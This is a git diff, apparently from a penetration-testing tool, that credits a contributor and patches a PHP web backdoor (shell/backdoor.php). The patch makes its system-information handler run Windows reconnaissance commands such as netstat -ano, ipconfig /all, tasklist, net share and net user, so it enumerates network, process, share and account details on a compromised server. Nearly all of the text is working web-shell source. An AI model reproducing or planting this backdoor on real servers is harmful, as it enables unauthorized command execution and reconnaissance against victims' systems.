diff --git a/doc/THANKS b/doc/THANKS index 73a37d9f6..4904b7035 100644 --- a/doc/THANKS +++ b/doc/THANKS @@ -159,6 +159,10 @@ John F. Reiser Metasploit Framework 3 payload stager portable executable, http://upx.sourceforge.net +Simone Onofri + for patching the PHP web backdoor to make it work properly also on + Windows + Antonio Parata for providing me with some ideas for the PHP backdoor diff --git a/shell/backdoor.php b/shell/backdoor.php index f3d01beba..c26589e1d 100644 --- a/shell/backdoor.php +++ b/shell/backdoor.php @@ -98,7 +98,7 @@ if (isset($_REQUEST["sysinfo"])) { echo "Operating system
" . @PHP_OS;
     echo "
Server uname
" . php_uname();
     echo "
Server uptime
";
-    echo ex("uptime");
+    echo  (!$win) ? ex("uptime") : ex("net statistics server");
     echo "
Server time
";
     echo date("D, M d, h:iA");
     echo "
Disk space
";
@@ -118,12 +118,13 @@ if (isset($_REQUEST["sysinfo"])) {
     echo "
Memory information
";
     echo ex("cat /proc/meminfo");
     echo "
Open ports and active connections
";
-    echo ex("netstat -nat");
-    echo "
Network devices
";
-    echo ex("/sbin/ifconfig -a");
+    echo (!$win) ? ex("netstat -nat") : ex("netstat -ano");
+    echo "
Network devices
"; 
+    echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all");
     echo "
Processes
";
-    echo ex("ps auxfww");
+    echo (!$win) ? ex("ps auxfww") : ex("tasklist");
     echo "
"; + echo ($win) ? "Network use
".ex("net use")."
Network share
".ex("net share")."
Network user
".ex("net user")."
" : ""; } else if(isset($_REQUEST["phpinfo"])) {